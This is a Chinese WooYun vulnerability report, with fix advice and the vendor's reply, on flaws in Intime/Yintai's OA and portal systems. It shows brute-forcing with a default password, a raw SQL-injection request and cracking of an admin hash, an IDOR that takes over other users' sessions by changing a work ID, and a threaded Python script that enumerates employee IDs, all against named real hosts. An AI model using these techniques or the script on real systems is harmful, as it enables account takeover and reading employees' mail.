当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0133313

漏洞标题:银泰网某系统缺陷导致理论上可登录所有业务系统

相关厂商:银泰网

漏洞作者: 刺刺

提交时间:2015-08-11 12:28

修复时间:2015-09-25 16:54

公开时间:2015-09-25 16:54

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-11: 细节已通知厂商并且等待厂商处理中
2015-08-11: 厂商已经确认,细节仅向厂商公开
2015-08-21: 细节向核心白帽子及相关领域专家公开
2015-08-31: 细节向普通白帽子公开
2015-09-10: 细节向实习白帽子公开
2015-09-25: 细节向公众公开

简要描述:

1. 该系统属于intime集团而非yintai;
2.某系统的问题估计有人已经提交过了;
3.如果审核未通过,建议能通知厂商一下,rank什么的先不计较,我觉得有一些问题还是有风险的。(如果通过了,麻烦审核删除此条)

详细说明:

系统1:
oa.intime.com.cn
(或者cms.yintai.com )
(1)登录页没有验证码或错误封禁机制,可用于爆破

l.jpg


使用abc123456 yintai123 配合top500用户名 可以得到
chenli abc123456
进入OA系统,通过通讯录整理用户名

19.jpg


将用户名转为拼音,使用之前的(intime×××6)爆破,

5.jpg


这个密码百试百灵,果然是默认密码,那个系统都可以试试
(2)OA系统存在SQL注入 (估计有人提交过,重复了)
http://122.224.218.140:89/login.do

4.jpg


用户名存在sql注入;
POST /verifyLogin.do HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://122.224.218.140:89/login.do?message=103&verify=
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: 122.224.218.140:89
Connection: Keep-Alive
Cookie: testBanCookie=test; JSESSIONID=abcksrlwMGpob8Z1akg8u
loginid=chengli*&password=ff&clienttype=Webclient&clientver=5.0&language=&country=&verify=
使用SQLmap验证:

5.jpg


获取sysadmin的密码,md5加密,cmd5可以解;

sys.jpg


SQL注入可以获取OA其他人员的加密密码,破解之后可以尝试portal,有的人权限还是蛮大的。
比如,xuqingyun的portal密码和OA一样:

6.jpg


系统很多,权限也很大,都可以登录和维护;比如官网:

9.jpg


其他的系统就不截图了。
系统2:portal
portal登录之后有这样一个请求,使用那些使用(intime×××6)的用户验证:

4.jpg


这个请求提交了
workid 而这个workid与工号是一致的。
尝试修改这个workid的值4020968 为4020969

1.jpg


然后再去刷新登录后的页面,结果huangjia变成了新的用户

11.jpg


此时拥有了新用户的所有权限。

漏洞证明:

subsyslogin.htm不登录既可以访问,如果工号正确,返回带有工号的200 如果错误返回500
使用python脚本验证;

#! /usr/bin/env python
#coding=utf-8
#ver 1.0
import urllib
import urllib2
import threading
import time,random
alive_thread = 0
def userlist(id):
global alive_thread
values = {'workid':id,'modules': 'Y'}
data = urllib.urlencode(values)
url = 'http://portal.intime.com.cn/nav/subsyslogin.htm'
headers = {'Accept': '*/*',
'Content-Type': 'application/x-www-form-urlencoded', 'Accept-Language': 'zh-cn', 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)',
'Connection': 'Keep-Alive','Host': 'portal.intime.com.cn',
'Pragma': 'no-cache'}

try:
req = urllib2.Request(url,data,headers)
response = urllib2.urlopen(req)
rep_page = response.read()
print rep_page
http_code = response.getcode()
#print http_code
if http_code=='200':
print id
except Exception, e:
print "------------------------"
print
threading.Lock()
alive_thread -= 1
threading.RLock()
for i in range(1,1000):
m = ("%03d"%i)
id = '4020'+str(m)
id = str(id)
while (alive_thread>100):
time.sleep(1)
threading.Lock()
alive_thread +=1
threading.RLock()
threading.Thread(target=userlist,args=(id, )).start()
pass


4020这个区间得到500多个正确的工号

33.jpg


还有人是其他的,比如990 100等,没有验证
4020用户验证

5.jpg


邮箱无须密码,直接打开。

修复方案:

1. OA方面,泛微说是出了补丁,请及时更新;
2. OA的登录爆破,厂商应该有办法;
3. portal的问题,需要改一下程序,至少不能被外部直接请求,或者增加当前用户的某些信息,防止越权;
4. 那个默认密码,真该强制修改了,在邮件里面使用“恳请”是不够的。

版权声明:转载请注明来源 刺刺@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-08-11 16:53

厂商回复:

安全小组负责人已经哭晕在厕所……有些漏洞虽然确实之前就知道,但是修复起来可真不是一件容易的事情。有技术含量的漏洞修复起来倒没什么问题,问题是那些没太高技术含量但是牵涉到很多人和流程的,推进起来真心不易。再次感谢刺刺同学。也恳请广大白帽子多给我们点时间来修复这些问题,银泰在安全方面底子薄,工作量巨大啊~~

最新状态:

暂无